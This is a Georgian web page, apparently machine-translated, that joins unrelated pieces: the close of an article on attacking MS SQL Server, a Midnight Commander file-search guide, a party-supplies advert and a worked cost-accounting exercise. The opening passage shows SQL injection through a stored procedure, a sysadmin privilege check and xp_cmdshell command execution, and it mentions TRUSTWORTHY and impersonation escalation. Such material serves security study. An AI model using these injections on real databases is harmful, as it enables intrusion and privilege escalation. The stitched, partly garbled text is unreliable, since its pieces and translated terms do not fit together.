ფორმის მოთხოვნა EXEC MASTER.dbo.sp_sqli2 "სამაგისტრო" "-" მხოლოდ ოსტატს დაუბრუნდება (იხ. სურათი 4).

  სურათი 4. EXEC MASTER.dbo.xxx შეკითხვის შესრულების შედეგი "master" "-"

დიდი. ეს ნიშნავს, რომ შენახული პროცედურა ექვემდებარება SQL ინექციას. ჩვენ ვიღებთ ჩვენს პრივილეგიებს შემდეგი შეკითხვით:

EXEC MASTER.dbo.sp_xxx "სამაგისტრო" "; SELECT is_srvrolemember (" "sysadmin" ") priv_certsp--";

priv_cersp \u003d 1 (იხ. სურათი 5) ნიშნავს, რომ ჩვენ გვაქვს sysadmin პრივილეგიები. აწარმოეთ EXEC ბრძანების ოსტატი..xp_cmdshell "ვინამი"; ეს არ იმუშავებს, რადგან ტორის ანგარიშს აქვს მინიმალური უფლებები, მაგრამ თუ ეს მოთხოვნა ჩადებულია SQL ინჟექციაში, მაშინ ყველაფერი იმუშავებს (ნახ. 6).

რაც ყველაზე საინტერესოა, ასეთი ხრიკი იმუშავებს 2005-2014 წლების ვერსიებში.

დასკვნა

განსხვავება ყველა ამ ვექტორში ძალიან მნიშვნელოვანია. ზოგიერთ შემთხვევაში, მიზნის მისაღწევად, შეგიძლიათ შეიზღუდოთ ჩართული TRUSTWORTHY საკუთრება, რაც საშუალებას აძლევს ამ მონაცემთა ბაზის რესურსების გამოყენებას გარეთ მდებარე ობიექტებზე, რათა შეიქმნას და შეასრულოთ შენახული პროცედურა, რაც ზრდის პრივილეგიებს. სადმე, თქვენ შეგიძლიათ შეასრულოთ შენახული პროცედურები სხვა ანგარიშების სახელით IMPERSONATE პრივილეგირებისა და EXECUTE AS ფუნქციის გამო, ხოლო მესამე შემთხვევებში მხოლოდ SQL ინექციის გაკეთება მნიშვნელოვანია, რომლის საშუალებითაც შეგიძლიათ შეკვეთოთ შეკითხვის ინექცია და ის შესრულდება სხვა ანგარიშის სახელით. ნიუანსებისა და დახვეწილობების სრულყოფილი გაგების მიზნით, გირჩევთ ამ ვექტორების შემოწმებას ჩემს ადგილობრივ აპარატზე.

სტატიაში არ მოცემულია MS SQL DBMS– ზე თავდასხმის ყველა ვექტორის ამომწურავი პრეზენტაცია, მაგრამ ეს სასარგებლო იქნება უსაფრთხოების ზედაპირული ანალიზისთვის. ასევე გირჩევთ, გაეცნოთ სხვა ჰაკერების ვექტორს DB ბმულის საშუალებით, რომელიც აღწერილი იყო ალექსეი ტიურინის მიერ დეკემბრის ნომერში] [(# 191) Easy Hack განყოფილებაში. ეს ყველაფერი, გმადლობთ ყურადღებისთვის და მალე გნახავთ.

გამავრცელებელი პროგრამული პროდუქტების გამოყენებისას, მაგალითად CMS ჯომლა, საკმაოდ ხშირად უნდა გაითვალისწინოთ ის ფაქტი, რომ შეცდომის შესახებ შეტყობინება ან გაფრთხილება ჩნდება პროგრამის შედეგებში, მაგრამ დეტალური ინფორმაცია, თუ სად მდებარეობს ამ კოდის ფრაგმენტი, არ არსებობს. ამ შემთხვევებში ყველაზე მარტივი გზაა ფაილის ძიების გამოყენება შუაღამის მეთაური   ხაზით. განვიხილოთ, თუ როგორ უნდა გავაკეთოთ ეს.

როგორც წესი, ცნობილია ფაილის სავარაუდო ადგილმდებარეობა სასურველი კოდის ფრაგმენტით. ამიტომ, პირველი, რაც ჩვენ გადავალ დირექტორია, რომელშიც ამ ფაილის განთავსება შეიძლება.

კონტექსტურ მენიუში " დაწყება:» ( კატალოგიდან ) დატოვეთ წერტილი: ჩვენ უკვე შეთავაზებულ დირექტორია, რომელიც შეიცავს ფაილს, რომელიც უნდა მოძებნოთ. მაგრამ, არჩევის ვარიანტი ” რი ”( ხე), თქვენ შეგიძლიათ აირჩიოთ სხვა დირექტორია, რომ მოძებნოთ.

შინაარსის ველი ”ენა le იგნორირება დირექტორიები "( დადირექტორიების უგულებელყოფა) შეიძლება ცარიელი დარჩეს, თუ არ გსურთ გამოძიების ნებისმიერი ცნობილი დირექტორიის გამორიცხვა თქვენი ძებნის შესამცირებლად.

მინდორში " ფაილის სახელი» ( სახელის შაბლონი ) თქვენ უნდა შეიყვანოთ ფაილის სახელი ან შაბლონი მისი სახელისთვის. შაბლონი იყენებს ?   ნებისმიერი პერსონაჟისთვის ან * ნებისმიერი სიმბოლოების ნებისმიერი რიცხვისთვის. თუ ჩვენ არაფერი ვიცით სახელის ან ფაილის გაფართოების შესახებ, მოგვმართეთ *.* .

სურვილისამებრ შეარჩიეთ:

  • « ind რეკურსიულად ”( იპოვნეთ ხელახლა რომუსირცხვილოდ)
  • « მღერიან ჭურვი შაბლონებს ”( ჭურვი სიმბოლოები)
  • ”კასი   მგრძნობიარე ”( Atრეგისტრაციაც კი)
  • « ll შარფები "( ინყველა კოდირება)
  • ”ს ip იმალება "( გამოტოვეთ skr )

მინდორში " შინაარსი» ( შინაარსი ) შეიყვანეთ სტრიქონი, რომელსაც შუაღამის მეთაური მოუწევს იპოვნოს მასში არსებული ყველა ფაილი.

სურვილისამებრ შეარჩიეთ:

  • ”ზღვა შინაარსი ch "( მოძებნეთ შინაარსით კარგადჩემს) ← ეს ვარიანტი მოითხოვა ხაზის მოსაძებნად
  • ”რე ულარული გამოხატულება "( გვ რეგულარული გამოხატვა)
  • ”საქმის სენს მეჩქარი ”( ბუღალტრული აღრიცხვა ისტრა)
  • ”ა ლ შარფები "( მზე   კოდირება)
  • « ხვრელი სიტყვები "( თანმთელი თევზაობა)
  • ”ნაძვი t hit ”( სანამ პირველ xმართვა)

დაწყება ძებნა კ "( ალკეტი), შეჩერება " ანსელი ”( გვ ცრემლი).

მას შემდეგ, რაც პროგრამა გადის ყველა ფაილს, ის აძლევს მათ დირექტორიების ჩამონათვალის სახით, რომელშიც არის ფაილები მატჩებით + თავად ფაილები იმ ხაზის ნომრებით, რომლებშიც ნაპოვნი იქნა საძიებო ფრაზასთან.

ზოგადად, მეგა მოსახერხებელი პროგრამა, როდესაც ეძებთ რა იცით, მაგრამ არ იცით, სად იპოვოთ. :)

დღესასწაულის ორგანიზება რთული ამოცანაა. ამდენი რამ არის ფიქრი და მოვლა. კომპანია "MF ძებნა" ამარტივებს ერთ-ერთ დავალებას - დეკორი. ჩვენ შევიკრიბეთ დღესასწაულის პროდუქტების კატალოგი, რომელიც შეიცავს უამრავ დეკორატიულ საშუალებას ოთახებისთვის და პატარა ნივთებისთვის, სადღესასწაულო გამოსადეგით.

პროდუქტის კატალოგი დასვენებისთვის: გააკეთეთ სავაჭრო სია

MF საძიებო კატალოგს შეიძლება ეწოდოს მზა სავაჭრო სია. მას აქვს მოსახერხებელი და დეტალური სტრუქტურა. შესაძლებელია მიიღოთ ჩვენგან:

  • საქორწილო პარტერნალია. ლენტები, კონფეტი, საკეტები, დარბაზი და მანქანა დეკორაცია და მრავალი სხვა.
  • ყველაფერი კარნავალი. ამ განყოფილებაში ნახავთ კოსტუმების წვეულების, საახალწლო კარნავალს, ჰელოუინს, თემატურ დაბადების დღეს.
  • ერთჯერადი ჭურჭელი. მაგიდა ყოველთვის არ არის დაფარული ფაიფურისა და კერამიკით. მაგალითად, ბავშვთა მაგიდის მოსაწყობად ან დაბადების დღის აღნიშვნა ოფისში, უფრო მოსახერხებელია გამოიყენოთ ქაღალდის ფირფიტები და თასები.
  • პარტიის სათამაშოები და საპნის ბუშტები. იმისათვის, რომ ბავშვები არ შეწუხდნენ არდადეგებზე, მათ დასვენებას წინასწარ უნდა იზრუნონ. თქვენ გაუმართლა! ჩვენ შევიკრიბეთ ყველა საჭირო ატრიბუტი, თქვენ უბრალოდ უნდა იპოვოთ მისი განცხადება.
  • კრეკერი და ნაპერწკლები. ისინი დღესასწაულს გახდის ნათელი და დაუვიწყარი.
  • სანთლები დაამშვენებს ტორტს, გაატარეთ რომანტიული საღამო, გააკეთეთ სიურპრიზი - თითოეული შემთხვევისთვის არის სანთლების ნაკრები.

ბუშტები "MF ძებნადან"

MF ძებნა არის ბურთების უდიდესი მიმწოდებელი. ჩვენ ვთანამშრომლობთ მწარმოებლებთან აშშ, ესპანეთი, მექსიკა. ჩვენ გთავაზობთ ხარისხის სერთიფიკატებს და გთავაზობთ ბურთების ყველაზე სრულ ასორტიმენტს, ასე რომ თითოეული ღონისძიებისთვის შეგიძლიათ შექმნათ თქვენი საკუთარი უნიკალური კომპოზიცია. ჩვენს კატალოგში ყველა ბუშტი შეიძლება დაიყოს ლატექსსა და კილიტაზე.

  • ლატექსი. მათი შერჩევა შესაძლებელია ფერის, ზომისა, ფორმის, თემის მიხედვით. ჩვენ ვყიდით ბურთებს შაბლონების გარეშე და აგრეთვე, გთავაზობთ ლოგოს გამოყენების სერვისს. გარდა კლასიკური ვარიანტებისა, ჩვენ ასევე გთავაზობთ არაჩვეულებრივ პიჯებს - პენკბოლები, ბმულები, ტალღოვანი ბურთები და მოდელირებისთვის.
  • კილიტა. აქ უამრავი არჩევანის გაკეთებაა: გასეირნება, დიდი, მინი, რიცხვების სახით. თქვენი მოხერხებულობისთვის, ჩვენ დაალაგეთ პროდუქტები თემატურად, შეგიძლიათ მარტივად გადადით განყოფილებაში საქორწილო, დაბადების დღეების, ახალი წლის და სხვა განსაკუთრებული შემთხვევებისთვის.

ცალკე, ჩვენ მოვათავსეთ აქსესუარები ბურთებისთვის, მაგალითად, ჯოხები ან წონა. დიზაინერები დაინტერესდებიან განყოფილებით აღჭურვილობით - ჰელიუმის ცილინდრები, ტუმბოები, მელნის ბეჭდვა.

რატომ აირჩიეთ „MF ძებნა“?

  • ბურთების უდიდესი კატალოგი.
  • ხარისხის სერთიფიკატები ღია დაშვებით.
  • შეკვეთის მინიმალური ოდენობა ხელმისაწვდომია თითოეული მყიდველისთვის, ღონისძიების მასშტაბის მიუხედავად.
  • დღესასწაულის ყველა პროდუქტი ერთ ადგილზე.
  • ფასდაკლებით დიდი საბითუმო ვაჭრობა.

ჩვენ ვცდილობთ თქვენს საიტზე ყოფნა კომფორტული იყოს, ამიტომ ჩვენ შევქმენით ცალკეული სექციები ახალი პროდუქტებით, გაყიდვების ლიდერებით, ასევე ”მალე მოვა” განცხადებები. ჩვენთან ერთად დარწმუნდებით, რომ დღესასწაულის მოწყობა მარტივია!

ცხრილში მოცემულია საწარმოს მთლიანი ხარჯების დამოკიდებულება გამომავალზე. გამოთვალეთ ხარჯები: ფიქსირებული, ცვლადი, საშუალო საერთო, საშუალო მუდმივი, საშუალო ცვლადი. ცხრილში შეავსეთ სვეტები FC, VC, MC, ATC, AFC, AVC:

მთლიანი ხარჯები, TC, გვ.FCVcMCATCავაფს
0 60
1 130
2 180
3 230
4 300

გამოსავალი:

ფიქსირებული ხარჯები ( ფიქსირებული ხარჯები) - ეს არის ის ხარჯები, რომლებიც არ არის დამოკიდებული პროდუქციის ან მომსახურების მოცულობაზე. არ აქვს მნიშვნელობა რამდენს აწარმოებს კომპანია, ფიქსირებული ხარჯების ღირებულება არ იცვლება. მაშინაც კი, თუ კომპანიას არ აქვს წარმოებული ერთი წარმოების ერთი ობიექტი, იგი ხარჯებს იწვევს, მაგალითად, ეს შეიძლება იყოს შენობის გაქირავება, გათბობის საფასური, საკრედიტო მოსაკრებელი და ა.შ.

ამრიგად, გამოშვების ნებისმიერი მოცულობის FC იქნება ტოლი 60 გვ.

ცვლადი ხარჯები ( ცვლადი ხარჯები) - ეს არის ხარჯები, რომლებიც იცვლება პროდუქციის ან მომსახურების მოცულობის ცვლილებისას. ჯამში, ფიქსირებული ხარჯებით ტოლია მთლიანი ღირებულება ( მთლიანი ხარჯები):

TC \u003d FC + VC.

აქედან:

VC \u003d TC - FC

VC (0) \u003d 60 - 60 \u003d 0,

VC (1) \u003d 130 - 60 \u003d 70,

VC (2) \u003d 180 - 60 \u003d 120,

VC (3) \u003d 230 - 60 \u003d 170,

VC (4) \u003d 300 - 60 \u003d 240.

ზღვრული ღირებულება ( მარგინალური ხარჯები) არის ხარჯების ზრდა, რომელიც დაკავშირებულია გამომავალი დამატებითი ერთეულის გათავისუფლებასთან.

MC \u003d ΔTC / ΔQ

ვინაიდან ამ პრობლემაში გამომავალი ზრდის ყოველთვის ტოლია 1, ჩვენ შეგვიძლია გადავწეროთ ეს ფორმულა შემდეგში:

MC \u003d ΔTC / 1 \u003d ΔTC

MC (1) \u003d TC (1) - TC (0) \u003d 130 - 60 \u003d 70,

MC (2) \u003d TC (2) - TC (1) \u003d 180 - 130 \u003d 50,

MC (3) \u003d TC (3) - TC (2) \u003d 230 - 180 \u003d 50,

MC (4) \u003d TC (4) - TC (3) \u003d 300 - 230 \u003d 70.

საშუალო საერთო ხარჯები ( საშუალო საერთო ხარჯები) არის გამომავალი ერთი ერთეულის წარმოების ღირებულება.

ATC \u003d TC / Q

ATC (1) \u003d TC (1) / 1 \u003d 130/1 \u003d 130,

ATC (2) \u003d TC (2) / 2 \u003d 180/2 \u003d 90,

ATC (3) \u003d TC (3) / 3 \u003d 230/3 \u003d 76.67,

ATC (4) \u003d TC (4) / 4 \u003d 300/4 \u003d 75.

საშუალო ფიქსირებული ხარჯები ( საშუალო ფიქსირებული ხარჯები) არის გამომავალი ერთეულის ფიქსირებული ღირებულება.

AFC \u003d FC / Q

AFC (1) \u003d FC (1) / 1 \u003d 60/1 \u003d 60,

AFC (2) \u003d FC (2) / 2 \u003d 60/2 \u003d 30,

AFC (3) \u003d FC (3) / 3 \u003d 60/3 \u003d 20,

AFC (4) \u003d FC (4) / 4 \u003d 60/4 \u003d 15.

საშუალო ცვლადი ღირებულება ( საშუალო ცვლადი ხარჯები) არის გამომავალი ერთი ერთეულის წარმოების ცვლადი ხარჯები.

AVC \u003d VC / Q

AVC (1) \u003d VC (1) / 1 \u003d 70/1 \u003d 70,

AVC (2) \u003d VC (2) / 2 \u003d 120/2 \u003d 60,

AVC (3) \u003d VC (3) / 3 \u003d 170/3 \u003d 56.67,

AVC (4) \u003d VC (4) / 4 \u003d 240/4 \u003d 60.

იცის ATC და AFC, საშუალო ცვლადი ღირებულება ასევე შეიძლება ნახოთ, როგორც სხვაობა მთლიან და საშუალო ფიქსირებულ ხარჯებს შორის:

AVC \u003d ATC - AFC

ცხრილში შეავსეთ ხარვეზები:

გამოცემა თითო ერთეულის დროზე, Q, հատმთლიანი ხარჯები, TC, გვ.FCVcMCATCავაფს
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15
გაუზიარე ეს